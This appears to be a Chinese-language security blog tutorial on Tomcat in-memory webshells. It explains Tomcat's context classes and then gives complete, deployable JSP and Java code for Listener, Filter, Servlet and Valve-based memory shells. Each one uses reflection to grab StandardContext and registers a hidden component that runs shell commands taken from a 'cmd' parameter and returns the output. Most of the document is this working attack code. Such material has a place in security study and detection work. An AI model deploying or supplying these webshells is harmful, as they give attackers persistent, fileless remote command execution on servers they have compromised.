前言

自己简单搭建一个Tomcat项目，IDEA里选择JavaEE，勾上web就行了
加个依赖（这样就能找到三个Context了：

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-core</artifactId>
  <version>8.5.16</version>
</dependency>

Tomcat的三个Context

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口，一般servlet都要实现这个接口。大概就是规定了如果要实现一个WEB容器，他的Context里面要有这些东西：获取路径，获取参数，获取当前的filter，获取当前的servlet等

ApplicationContext

在Tomcat中，ServletContext规范的实现是ApplicationContext，因为门面模式的原因，实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章，简单来讲就是加一层包装。
其中ApplicationContext实现了ServletContext规范定义的一些方法，例如addServlet,addFilter等

StandardContext

StandardContext存在于org.apache.catalina.core.StandardContext
实际上研究ApplicationContext的代码会发现，ApplicationContext所实现的方法其实都是调用的this.context中的方法,而这个this.context就是一个实例化的StandardContext对象
StandardContext是Tomcat中真正起作用的Context，负责跟Tomcat的底层交互，ApplicationContext其实更像对StandardContext的一种封装。用下面这张图来展示一下其中的关系：

Listen型内存马分析

前置内容

• ServletContext，服务器启动和终止时触发
• Session，有关Session操作时触发
• Request，访问服务时触发

Requset是最好触发和注入内存马的种类，只需要访问即可rce，在tomcat中Listen需实现两个接口LifecycleListener和EventListener，由于实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段，此时客户端的请求还不能被解析，所以我们重点看EventListener

package com.example.tomcat_memoryma;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre){
        System.out.println("执行了Test requestDestroyed");
    }
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行力Test requestInitialized");
    }
}

web.xml注册一下

<listener>
    <listener-class>com.example.tomcat_memoryma.Listener</listener-class>
</listener>

此时我们随便访问都会触发Listener

流程分析

requestInitialized处下个断点，然后debug启动服务，就能看见调用栈了

StandardContext对象获取

方式一

通过request对象来获取

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    Listener listener = new Listener();
    standardContext.addApplicationEventListener(listener);
%>

首先根据request对象反射获取request属性，然后再调用getContext方法获取StandardContext对象，溯源就可以发现StandardContext是Context的实现类，getContext方法返回的就是一个Context对象

方式二

通过Thread来获取

WebappClassLoader webappClassLoader = (WebappClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoader.getResources().getContext();

和上面的原理一样，也是一步步往上去找，会发现都对应了起来

内存马分析

根据这两种方法可以写出Listen型内存马

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
    //定义了一个Listen监听Servlet的销毁事件
        public void requestDestroyed(ServletRequestEvent sre) {
            //获取HttpServletRequest对象，用于RCE
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    //指令结果的输入流
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    /*
scanner.useDelimiter命令在于设置当前scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始
这条语句的整体意思就是读取所有输入,包括回车换行符
                        */
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    //获得结果
                    String out = s.hasNext()?s.next():"";
                    //获取request对象
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    //回显技术
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%//添加恶意Listener
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
//在这里调用StandardContext进行添加
    context.addApplicationEventListener(listenerDemo);
%>

Filter型内存马分析

按照上面所讲的正常流程，Listen过后就是经过Filter过滤器处理请求，和Listen对应，Filter肯定也可以注入内存马，因为Filter有doFilter方法，用来将请求放行

Filter调用示例

准备一个简单的filter示例：

package com.example.tomcat_memoryma;
import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter 初始化");
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        System.out.println("doFilter 过滤");
        // 放行
        chain.doFilter(request,response);
    }
    @Override
    public void destroy(){
        System.out.println("filter 销毁");
    }
}

在web.xml中注册Filter

 <filter>
    <filter-name>FilterDemo</filter-name>
    <filter-class>com.example.tomcat_memoryma.FilterDemo</filter-class>
</filter>
<filter-mapping>
    <filter-name>FilterDemo</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

启动web服务

• filterMaps拿名字
• filterConfigs拿过滤器（值）

这两个变量在StandradContext中都有定义，其中还有个filterDefs也是一个重要变量，这个后续会讲：

FilterMap

FilterMap可以通过StandardContext去添加

FilterConfigs

StandardContext当然也存在对FilterConfigs操作的方法

FilterDefs

通过分析，其实发现filterdefs才是真正存放了filter的地方，在StandradContext中也有添加filterDefs的方法：

内存马分析

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "F12";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    //以上步骤用于获取StandardContext
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    //反射获取filterconfig

    if (filterConfigs.get(name) == null){
        //开始添加Filter过滤器
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                //定义了恶意的FIlter过滤器，在dofilter方法执行恶意代码
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);
        /**
         * 添加FilterMap
         */
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        /**
         * 反射获取ApplicationFilterConfig对象，往filterConfigs中放入filterConfig
         */
        out.print("Inject Success !");
    }
%>

以上唯一需要注意的点就是filterMap.setDispatcher(DispatcherType.REQUEST.name());，我们在分析流程的时候是没有见过这个Dispatch的，这是一个坑点

Servlet型内存马

准备一个servlet例子：

package com.example.tomcat_memoryma;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("Hello World");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

在web.xml注册

<servlet>
    <servlet-name>HelloServlet</servlet-name>
    <servlet-class>com.example.tomcat_memoryma.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>HelloServlet</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

创建StandardWrapper

在StandardContext#startInternal中，调用了fireLifecycleEvent()方法解析web.xml文件，我们在此下断点跟进：

.........
        for (ServletDef servlet : webxml.getServlets().values()) {
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored

            // jsp-file gets passed to the JSP Servlet as an init-param

            if (servlet.getLoadOnStartup() != null) {
            //设置LoadOnStartup属性

                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
             //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
             //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

最后用了context.addServletMappingDecoded加了对应的路由:

加载StandardWrapper

最后在StandardContext的findChildren获取到了StandardWrapper类

public boolean loadOnStartup(Container children[]) {

        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
            //判断属性loadOnStartup的值，因此这里应该大于0
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            ArrayList<Wrapper> list = map.get(key);
            if (list == null) {
                list = new ArrayList<>();
                map.put(key, list);
            }
            list.add(wrapper);
        }

        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                } catch (ServletException e) {
                    getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
                          getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
                    // NOTE: load errors (including a servlet that throws
                    // UnavailableException from the init() method) are NOT
                    // fatal to application startup
                    // unless failCtxIfServletStartFails="true" is specified
                    if(getComputedFailCtxIfServletStartFails()) {
                        return false;
                    }
                }
            }
        }
        return true;

    }

上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制（通过注解来设置路由等等），默认值为-1，此时只有当servlet被调用时Servlet才会被加载到内存中

内存马分析

通过上文的分析我们能够总结出创建Servlet的流程

1. 获取StandardContext对象
2. 编写恶意Servlet
3. 通过StandardContext.createWrapper()创建StandardWrapper对象
4. 设置StandardWrapper对象的loadOnStartup属性值
5. 设置StandardWrapper对象的ServletName属性值
6. 设置StandardWrapper对象的ServletClass属性值
7. 将StandardWrapper对象添加进StandardContext对象的children属性中
8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
				//获取StandardContext
%>
 
<%!
 //编写恶意的Servlet
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
           	boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            //普通回显
            PrintWriter out = res.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
 
%>
 
<%
    //获取Wrapper并且将我们的Servlet放入Wrapper中
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name ="F12";
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
//这里获取的是类名称org.apache.jsp.servlet_jsp$Shell_Servlet
%>
 
<%
    //将wrapper添加进StandardContext
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

Valve型内存马

前置知识

参考：
https://xz.aliyun.com/t/11988#toc-19
valve是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器
Tomcat由四大容器组成，分别是Engine、Host、Context、Wrapper。这四个组件是负责关系，存在包含关系。只包含一个引擎（Engine）：

Engine（引擎）：表示可运行的Catalina的servlet引擎实例，并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时，作为一个真正的容器，Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机，那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host （虚拟主机）：作用就是运行多个应用，它负责安装和展开这些应用，并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App，每个Web App对应于一个Context，当Host获得一个请求时，将把该请求匹配到某个Context上，然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机，但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context（上下文）：代表 Servlet 的 Context，它具备了 Servlet 运行的基本环境，它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例，一个Context代表一个Web应用，一个Web应用由一个或者多个Servlet实例组成。
Wrapper（包装器）：代表一个 Servlet，它负责管理一个 Servlet，包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器，它没有子容器了，所以调用它的 addChild 将会报错。

其实上述的话可以用下面这张图很好的概括：

package com.example.tomcat_memoryma;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

class EvilValve extends ValveBase{

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("111");
        try {
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        } catch (Exception e) {

        }
    }
}
public class TestValve extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field reqF = req.getClass().getDeclaredField("request");
            reqF.setAccessible(true);
            Request request = (Request) reqF.get(req);
            StandardContext standardContext = (StandardContext) request.getContext();
            standardContext.getPipeline().addValve(new EvilValve());
            resp.getWriter().write("inject success");
        } catch (Exception e) {
        }
    }
}

在web.xml注册

<servlet>
    <servlet-name>TestValve</servlet-name>
    <servlet-class>com.example.tomcat_memoryma.TestValve</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>TestValve</servlet-name>
    <url-pattern>/valve</url-pattern>
</servlet-mapping>

在invoke处打个断点调试，可以看到调用栈里很多valve，看第一个调用的valve：StandardEngineValve

获取Context

Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

获取pipeline

Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

创建恶意valve并且添加进standardpipeline

ValveBase valveBase = new ValveBase() {
        @Override
        public void invoke(Request request, Response response){
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };
    standardPipeline1.addValve(valveBase);
    this.getNext().invoke(request, response);

这里为了让程序继续执行下去，恶意value类也必须要调用下一个value的invoke方法，否则无法正常进行

内存马分析

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);

    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
    pipelineField.setAccessible(true);
    StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

    ValveBase valveBase = new ValveBase() {
        @Override
        public void invoke(Request request, Response response) throws ServletException,IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                this.getNext().invoke(request, response);
            }
        }
    };

    standardPipeline1.addValve(valveBase);

    out.println("evil valve inject done!");
%>

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